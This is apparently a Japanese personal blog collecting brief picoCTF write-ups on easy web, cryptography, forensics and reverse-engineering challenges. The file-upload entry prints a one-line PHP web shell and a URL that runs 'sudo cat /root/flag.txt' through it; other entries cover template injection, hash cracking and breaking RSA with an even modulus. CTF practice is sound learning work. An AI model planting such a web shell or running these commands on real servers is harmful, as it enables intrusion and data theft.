Open9

picoCTF Writeup

MINMIN

PicoCTF SSTI1 (Web Exploitation, Easy) Writeup

webページにアクセスしてポチポチしてみたけど分からず、
ヒントは「Server Side Template Injection」ふむふむ、テンプレートを入れてみろってことかな?

{{ .name }} でinternal server error,
{{ name }}とか打ち込むと真っ白な繊維をする

攻撃はできた、何かあるぞ〜〜〜

ここで、Flaskとかjinja2のテンプレートの知識が必要になったので調べた

参考になった記事
https://onsecurity.io/article/server-side-template-injection-with-jinja2/
ここで、システムコールの書き方を学んで、lsやcatを使って解けた

picoCTF{hogehoge}って出ると、やったーー!となる

MINMIN

PicoCTF SSTI1 (Web Exploitation, Easy) Writeup

アイコンのおじさんにいつの間にか愛着が湧いてくる問題

ファイルをuploadすると、
The file a.png has been uploaded Path: uploads/a.png
みたいに、uploads/配下に配置しましたと言われた
URLはhttp://hoge:xxxx/upload.phpとかだ、

怪しい!怪しいぞ〜〜〜!!

http://hoge:xxxx/uploads/a.pngで画像が見れたので、
下記を含むphpをアップロードし、http://hoge:xxxx/uploads/upload.php?cmd=sudo+cat+/root/flag.txtをしたら解けた!嬉しい!

<?php system($_REQUEST['cmd']); ?>

sudo -lで下記が出てた

Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL

NOPASSWDで全てのコマンド打ち放題、たいへん

MINMIN

PicoCTF Cookie Monster Secret Recipe (Web Exploitation, Easy) Writeup

クッキーみて、base64デコードするとみれた!!

末尾==、これはbase64って本で見たやつだ!となった

MINMIN

PicoCTF WebDecode (Web Exploitation, Easy) Writeup

今まで見た練習環境の中で一番リッチなページ、「Try inspecting the page!! You might find it there」を右クリック検証すると文字列が見えて、base64でデコードすると辿り着けた

MINMIN

PicoCTF hashcrack (Cryptography, Easy) Writeup

weakly passwordのハッシュが与えられるから、クラックしてみてね という問題でした。

base64はデコードできるけど、ハッシュはデコードできない、ツールを使うかプログラムを書いて

よくあるパスワードをハッシュ化してみたものと比べるやり方になる。

よくあるハッシュの文字数

  • MD5: 32文字
  • SHA-1: 40文字
  • SHA-256: 64文字

ハッシュは文字数が決まってるのか、
レインボーテーブル攻撃といって、既知のパスワードについては簡単に出せてしまう。

ローカルにツール(john, hashcat)を入れてみたが遅すぎたので、下記のサイトを使って解いた。
https://crackstation.net/

solt, pepperを加えてレインボーテーブル攻撃に対抗する方法もあるらしい
ソルトが同じDBにあって、ペッパーは環境変数などにあってハッシュ値をさらに変換するための値
https://qiita.com/YutaManaka/items/93444c803cf3087af2b5

MINMIN

PicoCTF CanYouSee (Forensics, Easy) Writeup

exiftoolを見たら怪しいやつをbase64で復号化したらとけた

hexdumpで巨大なXMPメタデータを発見して、exiftoolで普段なさげなヘッダーAttribution URL を見たらあった

フォレンジック分析の基本:

  1. hexdumpでファイル構造確認
  2. exiftoolでメタデータ抽出
MINMIN

PicoCTF EVEN RSA CAN BE BROKEN??? (Cryptography, Easy) Writeup

RSAはeとnの値は公開しておくけど、素因数分解の解を見つけるのに時間がかかるため、復号化できないとされている。

https://qiita.com/YutaKase6/items/cd9e26d723809dc85928#復号

N: 20730891871844823767540033027537166297765498912171177973038869544278070027893342827631607682381232040056625757460370644539366175959501501993910909944410622
e: 65537
cyphertext: 405986824089577637397432006358870120453446816121445283393589873741929973947489146473646404292594788371918198476830680947240437209416368345413134727236509

Nは素因数分解できないよねー。。。

あれ、偶数じゃん!! 素数一個2じゃん!

となったので、トーシェント関数(これが分かれば公開鍵から秘密鍵を見つけられる)を求めることができる。

最後に文字列に直すのも一手間かかった

利用したpythonコードは下記

n = 20730891871844823767540033027537166297765498912171177973038869544278070027893342827631607682381232040056625757460370644539366175959501501993910909944410622
e = 65537
phi_n = 10365445935922411883770016513768583148882749456085588986519434772139035013946671413815803841190616020028312878730185322269683087979750750996955454972205310
ciphertext = 405986824089577637397432006358870120453446816121445283393589873741929973947489146473646404292594788371918198476830680947240437209416368345413134727236509

# 秘密鍵計算
d = pow(e, -1, phi_n)

# 復号
plaintext = pow(ciphertext, d, n)

# 文字列変換
flag = plaintext.to_bytes((plaintext.bit_length() + 7) // 8, 'big').decode()
print(flag) 

MINMIN

Flag Hunters (Reverse Engineering, Easy) Writeup

間違うと歌に笑われているような気分になる問題でした・・・

コードをじっと見たら解けた!!!
怪しいところをじっと見て、打ち込む。余計なスペースは入れないのが大事だった

MINMIN

picoCTF IntroToBurp (Web Exploitation, Easy) Writeup

謎、submitのotpを違う文字列にしたらいけた

Chrome検証のElementsで変えて送れる。Burpというツールなくてもできた

サーバー側のvalidationが甘い設定だったのかな